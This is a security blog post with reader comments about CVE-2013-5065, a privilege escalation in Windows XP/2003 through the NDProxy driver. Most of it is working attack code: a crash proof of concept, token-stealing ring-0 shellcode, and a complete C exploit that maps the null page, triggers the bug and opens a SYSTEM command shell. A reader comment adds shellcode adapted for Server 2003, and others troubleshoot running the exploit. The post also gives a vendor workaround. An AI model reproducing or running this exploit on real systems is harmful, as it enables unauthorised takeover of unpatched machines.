NDProxy Privilege Escalation (CVE-2013-5065)
Introduction
In the last few days everyone is raving about CVE-2013-5065, a new Windows XP/2k3 privilege escalation, well documented by FireEye. Googling around, we came across a Twitter message which contained a link to a Chinese vulnerability analysis and PoC for CVE-2013-5065.
Exploit POC:
#include "windows.h" #include "stdio.h" void main(){ HANDLE hdev=CreateFile("\\\\.\\NDProxy",GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0 , NULL); if hdev==INVALID_HANDLE_VALUE){ printf("CreateFile Failed: %d/n",GetLastError()); } DWORD InBuf [0x15] = {0}; DWORD dwRetbytes = 0; *(InBuf + 5) = x7030125; *(InBuf + 7) = 0x34; DeviceIoControl(hdev,0x8fff23cc,InBuf, 0x54, InBuf, 0x24 , &deRetBytes, 0); CloseHandle(hdev); }
Due to the fact that the extended instruction pointer is set to 0×00000038 at the time of the crash, this bug can easily be exploited on Windows XP or 2K3, as both of these Operating Systems allow non-privileged users to map the null page within the context of a user process. It is then quite trivial to produce a fully working exploit.
Vulnerable Systems:
- Windows XP SP3 (x32)
- Windows XP SP2 (x64)
- Windows 2003 SP2 (x32)
- Windows 2003 SP2 (x64)
- Windows 2003 SP2 for Itanium-based Systems
Workaround
To implement this workaround, please follow the steps below.
I run the following command from the command prompt (as an administrator):
sc stop ndproxy reg add HKLM \ System \ CurrentControlSet \ Services \ ndproxy / v ImagePath / t REG_EXPAND_SZ / d system32 \ drivers \ null.sys / f
If you disable NDProxy.Sys, Windowssome services that depend Telephony Application Programming Interfaces of the (TAPI) will not work. As such the following services will fail to function correctly: Remote Access Service (RAS), Dial-Up Networking , Virtual Private Network (VPN).
Weaponising the Code
The crux of the exploit is there all we need to do is write our shell code to the NULL page; rather than reinvent the wheel I scoured exploit-db for some previous written code. I found a useful code block InitFirstPage() in the following exploit for MS10-047 (http://www.exploit-db.com/exploits/14666/).
Then added the following code at the bottom of the main function:
system("start /d \"C:\\windows\\system32\" cmd.exe"); return 0;
After some more playing around with the shell code, I decided to take ryujin’s original python code and convert it to C.
From:
sh="\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3"
sc ="\x90"*0x38 + "\x3c\x00\x00\x00" + "\x90"*4 + sh +"\xcc"*(0x400-0x3c-4-len(sh))
To:
unsigned char sc[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x3C\x00\x00\x00\x90\x90\x90\x90"
"\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B"
"\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00"
"\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3";
unsigned char * sh;
sh=(char*)malloc(400);
memset(sh,"\xCC",400);
memcpy(sh,sc,112);
Exploit
The resulting code looks like:
/* NDProxy.c NDProxy.sys Local Privilege Escalation Exploit CVE-2013-5065 Based on Chinese PoC with ideas taken from Ryujin's and Tavis Ormandy's previously released exploit code. Pentura 2013(C) 10-DEC-2013 Tested on Windows XP SP3 32-bit */ #include "windows.h" #include "stdio.h" typedef struct { PVOID Unknown1; PVOID Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 11, SystemHandleInformation = 16 } SYSTEM_INFORMATION_CLASS; typedef DWORD NTSTATUS; NTSTATUS (WINAPI *_NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); static VOID InitFirstPage() { PVOID BaseAddress; ULONG RegionSize; NTSTATUS ReturnCode; FARPROC NtAllocateVirtualMemory; NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtAllocateVirtualMemory"); fprintf(stderr, "NtAllocateVirtualMemory@%p\n", NtAllocateVirtualMemory); RegionSize = 0xf000; BaseAddress = (PVOID) 0x00000001; ReturnCode = NtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (ReturnCode != 0) { fprintf(stderr, "NtAllocateVirtualMemory() failed to map first page, %#X\n",ReturnCode); fflush(stderr); ExitProcess(1); } fprintf(stderr, "BaseAddress: %p, RegionSize: %#x\n", BaseAddress, RegionSize), fflush(stderr); FillMemory(BaseAddress, RegionSize, 0x41); return; } int main() { DWORD fb; int result; InitFirstPage(); unsigned char sc[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x3C\x00\x00\x00\x90\x90\x90\x90" "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B" "\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00" "\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3"; unsigned char * sh; sh=(char*)malloc(400); memset(sh,"\xCC",400); memcpy(sh,sc,112); result = WriteProcessMemory((HANDLE)0xFFFFFFFF, (LPVOID)0x00000001, sh, 0x400, &fb); if (result==0) { printf("[!] Error occured while attempting to map memory_write"); printf("Details : %d\n", GetLastError()); exit(1); } HANDLE hdev=CreateFile("\\\\.\\NDProxy",GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0 , NULL); if (hdev==INVALID_HANDLE_VALUE){ printf("CreateFile Failed: %d/n",GetLastError()); } DWORD InBuf [0x15] = {0}; DWORD dwRetBytes = 0; *(InBuf + 5) = 0x7030125; *(InBuf + 7) = 0x34; DeviceIoControl(hdev,0x8fff23cc,InBuf, 0x54, InBuf, 0x24 , &dwRetBytes, 0); CloseHandle(hdev); printf("[+] Spawning SYSTEM Shell..."); system("start /d \"C:\\Windows\\System32\" cmd.exe"); return 0; }
Links
- https://technet.microsoft.com/en-us/security/advisory/2914486
- http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html
- http://www.exploit-db.com/exploits/14666/
- http://msdn.microsoft.com/en-us/library/windows/hardware/ff556440(v=vs.85).aspx
Its crashing my win2k3 for some reason..No system level shell..Any clues?
If you read the small print, “Tested on Win XP SP3!”, I can guarantee it works, and multiple times… though it can crash XP after repeated exploitation (5+ attempts) 😦
The exploit will work on Win 2K3 SP2, but it will not work with the standard publicly available shellcode (which is XP based). I suggest using a debugger and changing the shell code to one that works for Win2K3.
The shellcode in use is not your standard cmd.exe shellcode, its a token stealing shellcode: that effectively swaps out our user token with that of system token. Then when we call cmd.exe at the bottom of our exploit – that is why the cmd is running with SYSTEM privileges; it should be trivial to swap out the XP token stealing ring-0 code with a Win2K3 token-stealing ring-0 shellcode.
Hi ,
First of all, thanks for your post. I am investigation the crashing issue on this exploit (for academic reason).
Do you have any idea why it crashes after repeated exploitation ? I can not come near to an explanation 😥
I actually have not gone further than tracing the initial exploit run. The ring-0 shell code is in simplistic terms token stealing. I think it crashes when multiple attempts of writing into the HalDispatchTable, disrupts/corrupts the table and the location of our shellcode in memory.
I advise reading:
I can confirm it works on XP SP3 🙂
Hi there,
I tested it on XP SP3 it is working fine and with help of ruby code given in “https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms_ndproxy.rb” changed the data for windows 2003 SP2 (32 bit) and tested. There also it is working fine.
Shellcode for 32 bit Windows Server 2003 is :
unsigned char sc[] =
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x3C\x00\x00\x00\x90\x90\x90\x90”
“\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x38\x8B\xC8\x8B”
“\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x83\xB8\x94\x00\x00\x00”
“\x04\x75\xEC\x8B\x90\xD8\x00\x00\x00\x89\x91\xD8\x00\x00\x00\xC3”;
//this is for Windows Server 2003 SP2.
One thing i want to know that . Do we need to write a 64 bit shellcode for x64 platform. I think we needed.
Can someone help me to find the good resource for 64 bit shellcode.
is this same code will crash on windows XP SP2 x64 system. I am getting file not found error (GetLastError as 2) in createfile of ndproxy
You probably need to start the RAS service, I think its set to manual or disabled by default on x64
thanks Andy.
After starting the RAS service “file not found” error has gone.
hey what compiler are u using?